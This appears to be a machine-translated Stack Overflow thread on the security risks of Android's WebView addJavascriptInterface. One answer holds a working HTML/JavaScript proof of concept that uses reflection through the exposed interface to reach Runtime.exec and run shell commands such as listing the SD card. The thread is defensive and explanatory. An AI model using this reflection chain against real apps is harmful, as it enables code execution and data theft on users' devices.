Android JavascriptInterface安全性?

NoB*_*ugs 18 javascript android interface webview android-webview

从文档:http: //developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"使用addJavascriptInterface()允许JavaScript控制你的应用程序.这可能是一个非常有用的功能或危险的安全问题.当WebView中的HTML不可靠时(例如,部分或全部HTML由某人或某个人提供) ),然后攻击者可以注入执行你的代码的HTML,也可能是攻击者选择的任何代码. 不要使用addJavascriptInterface(),除非这个WebView中的所有HTML都是由你编写的. 绑定的Java对象在另一个中运行线程,而不是在它构造的线程中.

假设我有一个只显示自定义对话框的界面,或者开始下载到SD卡.这对任何网址使用都不安全吗?攻击页面如何使用该界面运行攻击者选择的任何代码?

更新: 根据文档:

此方法可用于允许JavaScript控制主机应用程序.这是一个强大的功能,但也会为针对API级JELLY_BEAN或更低级别的应用程序带来安全风险,因为JavaScript可以使用反射来访问注入对象的公共字段.在包含不受信任内容的WebView中使用此方法可能允许攻击者以非预期的方式操作主机应用程序,并使用主机应用程序的权限执行Java代码.在可能包含不受信任内容的WebView中使用此方法时要格外小心.

有没有一个如何发生这种情况的例子?这只是说DOWNLOADINTERFACE.dangerousfunction如果那个类的公共方法可以被调用?

更新:

我根据下面的漏洞利用示例进行了测试,站点可以通过Android 4.4,4.1和3.2中的接口访问系统.

但是,我没有在Android 2.2或2.3上看到这个错误,黑客只会导致强制关闭.除了不使用JSInterface之外,防止此黑客攻击的最佳方法是什么?我可以包含这样的虚假功能,以防止未经授权的功能调用吗?

public Object getClass() {
  //throw error, return self, or something?  
}
Run Code Online (Sandbox Code Playgroud)

或者使用ajax和拦截调用重写所有内容?这会导致更好/更差的表现吗?

更新:

我成功地删除了JS接口,并通过为所有窗口(接口)函数定义window.open(specialurl)命令来替换功能,并覆盖了shouldOverrideUrlLoading中的那些命令.奇怪的是,在某些情况下必须使用window.open(),或者webview中断显示(比如javascript正在停止?),在其他情况下应该使用location.replace或它只显示"interface:// specialdata" "无法找到消息.

(我设置了settings.setJavaScriptCanOpenWindowsAutomatically(true),因此window.open始终从JS开始工作.)

有人知道用这种行为重写应用程序的最佳方法吗?

小智 14

从javascript访问sdcard文件的示例:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>
Run Code Online (Sandbox Code Playgroud)


wal*_*lta 5

因此,默认情况下,在WebView中运行的代码会被沙箱化 - 也就是说,它无法执行危险的本机内容,例如写入文件系统或访问地址簿等...

大多数javaScript属于该类别,并且在显示自定义对话框的情况下,没有危险.

addJavaScriptInterface允许您将本机手机内容暴露给javascript,危险在于如果你没有正确地编写javaScriptInterface,你最终可能会将一个人的手机暴露给黑客真正的危险.

我认为使用一个例子最容易理解.

假设您编写了一个javaScript接口,您可以在其中调用javaScript中的函数,该函数将文件写入android文件系统上的路径.例如:

writeToFile(data, safepath);
Run Code Online (Sandbox Code Playgroud)

javascript都来自你的服务器,但不知何故,黑客会破坏你的服务器,并改变加载到你的WebView中运行的HTML/JavaScript:

writeToFile(dangerousdata, pathtosomeotherfile);
Run Code Online (Sandbox Code Playgroud)

现在我还没有仔细检查android包的布局,以便知道我想要覆盖/更改哪个文件,如果我是黑客,但我曾经在我们自己的linux机器上与朋友进行小的黑客攻击.更年轻,你会使用这样的调用来覆盖像SSH二进制文件这样的东西 - 然后你就可以记录所有可能出现的密码了.如果你可以用自己的方式覆盖或扩展原始的apk把人的手机变成你可以远程登录的服务器(我不确定这是否可能是由于应用程序是如何沙箱化的).即使您所做的只是覆盖关键数据文件,您也许可以让用户(在这种情况下为黑客)访问安全凭证,密码和各种各样的东西.

很多年前,我们在linux机器上的sendmail进程中发现了一个漏洞,允许我们启动shell.我们以邮件用户身份登录了我们的服务器.你不能像邮件用户那样做多少,但是一旦你在机器上,它就让你有机会四处寻找其他弱点.

所以你可以安全地做你想做的事情,只要确保你使JavaScript界面​​变得非常简单和愚蠢 - 它只会写入一个位置的一个文件而你写的数据可能是文本或者没有得到的东西稍后解释.对于对话框,我一直这样做 - 也不需要任何特殊的本机调用.这是制作用户安装应用后可以更新的页面的好方法.

希望这有用!